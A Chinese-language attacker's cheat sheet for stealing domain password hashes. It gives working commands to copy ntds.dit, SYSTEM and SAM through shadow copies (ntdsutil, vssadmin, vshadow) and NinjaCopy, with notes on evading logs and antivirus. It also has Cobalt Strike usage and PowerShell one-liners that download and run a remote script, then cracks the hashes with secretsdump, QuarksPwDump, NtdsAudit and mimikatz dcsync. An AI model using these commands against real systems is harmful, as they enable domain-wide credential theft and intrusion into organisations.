域内密码凭证获取
0x00 活动目录数据库
- 由ntds.dit文件构成
- 默认存储在所有域控制器上的%SystemRoot%\NTSD文件夹中
- 只能通过域控制器进程和协议访问
ntds.dit:活动目录数据库,包括有关域用户、组和组成员身份的信息。它还包括域中所有用户的密码哈希值。
为了保护密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。因此想要破解sam文 件与ntds.dit文件都需要拥有一个system文件。
由于Windows阻止对这些文件的标准读取或复制操作,因此必须使用特殊技术来获取副本。
NTDS.DIT : Windows\NTDS\NTDS.dit
SYSTEM : Windows\System32\config\SYSTEM
SAM : Windows\System32\config\SAM
PS : SAM存储当前主机用户密码哈希
NTDS.DIT存储这域内所有用户密码哈希
0x01 获取NTSD.DIT
Volume Shadow Copy Service
Volume Shadow Copy Service (VSS) 卷影复制服务是微软从 Windows XP 开始提供的用于创建一致性的时间 点副本(也就是快照)的服务框架。
- 用于数据备份
- 支持Windows Server 2003 及以上操作系统
- 系统默认在特定条件下自动创建数据备份,如补丁安装后。在Win7系统大概每隔一周自动创建备份,该时间 无法确定
- 禁用VSS会影响系统正常使用,如 System Restore和 Windows Server Backup
Ntdsutil
交互式:
ntdsutil
snapshot
activate instance ntds
create
mount [GUID] //copy 完之后再执行
unmout [GUID]
del [GUID]
quit
quit
非交互式:
ntdsutil snapshot "activate instance ntds" create quit quit //创建快照
ntdsutil snapshot "mount {GUID}" quit quit //挂载快照
copy MOUNT_POINT\windows\ntds\ntds.dit c:\temp\ntds.dit //复制ntds.dit
ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit //删除快照
Ntdsutil-InstallFromMedia
交互式:
ntdsutil
activate instance ntds
ifm
create full <Drive>:\<Folder>
quit
quit
非交互式:
ntdsutil "activate instance ntds" ifm “create full C:\ntds” quit quit
Vssadmin
vssadmin list shadows //查询当前系统的快照
vssadmin create shadow /for=c: //创建快照
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\windows\NTDS\ntds.dit c:\ntds2.dit //复制文件
vssadmin delete shadows /for=c: /quiet //删除快照
vssadmin delete Shadows /All /quie //删除快照
mklink
无法直接访问 ?\GLOBALROOT\Device\HarddiskVolumeShadowCopy23中的文件
可通过创建符号链接访问快照中的文件:
mklink /d c:\test\ \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy23\
rd c:\testvsc
Vshadow
Vshadow:是一个简单的指令行工具,它允许任何人创建卷影拷贝。系统默认不支持,可在Microsoft Windows Software Development Kit (SDK)
中获得该工具。(不会被杀软杀)
vshadow.exe -q //查询当前快照
vshadow.exe -p -nw C: //创建快照
copy [Shadow copy device name]\windows\ntds\ntds.dit c:\ntds.dit //复制
vshadow.exe -dx=ShadowCopySetId //删除
vshadow.exe -ds=ShadowCopyId
查询快照
创建快照
复制
NinjaCopy
通过NinjaCopy获得域控服务器NTDS.dit文件,没有调用Volume Shadow Copy服务,所以不会产生日志文件7036。
本地
set-executionpolicy Bypass //修改powershell执行策略
Import-Module .\invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination .\sam.hive
Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination .\system.hive
Invoke-NinjaCopy -Path C:\windows\ntds\ntds.dit -LocalDestination .\ntds.dit
cobaltstrike
powershell-import C:\Users\4600\Desktop\Invoke-NinjaCopy.ps1
powershell Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination c:\sam.hive
powershell Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination
c:\system.hive
powershell Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination C:\ntds.dit
远程加载
powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://ip:port/InvokeNinjaCopy.ps1');Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination c:\sam1.hive
powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://ip:port/InvokeNinjaCopy.ps1');Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination c:\system1.hive
powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://ip:port/InvokeNinjaCopy.ps1');Invoke-NinjaCopy -Path C:\Windows\ntds\ntds.dit -LocalDestination c:\ntds1.dit
0x02 解密ntds.dit
esentutl /p /o ntds.dit //修复复制出来的数据库文件
QuarkPwDump
Quarks PwDump 是一款开放源代码的Windows用户凭据提取工具,它可以抓取windows平台下多种类型的 用户凭据,包括:本地帐户、域帐户、缓存的域帐户和Bitlocker。
QuarksPwDump.exe --dump-hash-domain --output de1ay.com.txt --ntds-file ntds.dit
secretsdump
impacket 套件中的 secretsdump.py 脚本解密,速度有点慢
secretsdump.exe -sam sam.hive -security security.hive -system system.hive LOCAL
secretsdump.exe -system system.hive -ntds ntds.dit LOCAL
NtdsAudit
NtdsAudit可以十分高效的破解ntds文件并将全部域用户信息导出方便查找域用户状态。 将ntds.dit文件和SYSTEM文件放在同一目录下执行命令
NtdsAudit.exe "ntds.dit" -s "system.hive" -p pwdump.txt --users-csv users.csv
mimikatz
使用Mimikatz的dcsync
功能,可以利用目录复制服务(Directory Replication Service, DRS)从NTDS.DIT文件中提取密码哈希值。
lsadump::dcsync /domain:de1ay.com /user:mssql //获取单个用户的详细信息
lsadump::dcsync /domain:de1ay.com /all /cvs //获取所有用户
mimikatz lsadump::lsa /inject //查看所有用户的详细信息